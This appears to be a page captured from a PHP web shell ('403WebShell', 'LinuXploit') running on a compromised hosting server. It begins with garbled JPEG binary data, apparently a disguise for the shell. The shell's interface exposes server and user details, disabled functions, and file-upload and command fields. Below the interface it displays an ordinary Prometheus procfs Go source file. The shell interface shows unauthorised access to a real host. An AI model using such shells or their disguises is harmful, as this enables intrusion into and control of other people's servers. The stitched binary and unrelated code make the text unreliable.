JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.114  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/iscsi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/iscsi/iscsi.go
// Copyright 2019 The Prometheus Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package iscsi

import (
	"path/filepath"
	"strings"

	"github.com/prometheus/procfs/internal/fs"
)

// iscsi target started with /sys/kernel/config/target/iscsi/iqn*
// configfs + target/iscsi/iqn*
// iqnGlob is representing all the possible IQN.
const iqnGlob = "target/iscsi/iqn*"

// targetCore static path /sys/kernel/config/target/core for node_exporter
// reading runtime status.
const targetCore = "target/core"

// devicePath static path /sys/devices/rbd/[0-9]* for rbd devices to
// read at runtime status.
const devicePath = "devices/rbd"

// FS represents the pseudo-filesystem configfs, which provides an interface to
// iscsi kernel data structures in sysfs as /sys and configfs as /sys/kernel/config.
type FS struct {
	sysfs    *fs.FS
	configfs *fs.FS
}

// NewFS returns a new configfs mounted under the given mount point. It will
// error and return empty FS if the mount point can't be read. For the ease of
// use, an empty string parameter configfsMountPoint will call internal fs for
// the default sys path as /sys/kernel/config.
func NewFS(sysfsPath string, configfsMountPoint string) (FS, error) {
	if strings.TrimSpace(sysfsPath) == "" {
		sysfsPath = fs.DefaultSysMountPoint
	}
	sysfs, err := fs.NewFS(sysfsPath)
	if err != nil {
		return FS{}, err
	}
	if strings.TrimSpace(configfsMountPoint) == "" {
		configfsMountPoint = fs.DefaultConfigfsMountPoint
	}
	configfs, err := fs.NewFS(configfsMountPoint)
	if err != nil {
		return FS{}, err
	}
	return FS{&sysfs, &configfs}, nil
}

// Path is a helper function to get configfs path.
func (fs FS) Path(p ...string) string {
	return fs.configfs.Path(p...)
}

// ISCSIStats getting iscsi runtime information.
func (fs FS) ISCSIStats() ([]*Stats, error) {
	matches, err := filepath.Glob(fs.configfs.Path(iqnGlob))
	if err != nil {
		return nil, err
	}

	stats := make([]*Stats, 0, len(matches))
	for _, iqnPath := range matches {
		// stats
		s, err := GetStats(iqnPath)
		if err != nil {
			return nil, err
		}
		stats = append(stats, s)
	}

	return stats, nil
}

// TPGT struct for sys target portal group tag info.
type TPGT struct {
	Name     string // name of the tpgt group
	TpgtPath string // file path of tpgt
	IsEnable bool   // is the tpgt enable
	Luns     []LUN  // the Luns that tpgt has
}

// LUN struct for sys logical unit number info.
type LUN struct {
	Name       string // name of the lun
	LunPath    string // file path of the lun
	Backstore  string // backstore of the lun
	ObjectName string // place holder for object
	TypeNumber string // place holder for number of the device
}

// FILEIO struct for backstore info.
type FILEIO struct {
	Name       string // name of the fileio
	Fnumber    string // number related to the backstore
	ObjectName string // place holder for object in iscsi object
	Filename   string // link to the actual file being export
}

// IBLOCK struct for backstore info.
type IBLOCK struct {
	Name       string // name of the iblock
	Bnumber    string // number related to the backstore
	ObjectName string // place holder for object in iscsi object
	Iblock     string // link to the actual block being export
}

// RBD struct for backstore info.
type RBD struct {
	Name    string // name of the rbd
	Rnumber string // number related to the backstore
	Pool    string // place holder for the rbd pool
	Image   string // place holder for the rbd image
}

// RDMCP struct for backstore info.
type RDMCP struct {
	Name       string // name of the rdm_cp
	ObjectName string // place holder for object name
}

// Stats struct for all targets info.
type Stats struct {
	Name     string
	Tpgt     []TPGT
	RootPath string
}

Youez - 2016 - github.com/yon3zu
LinuXploit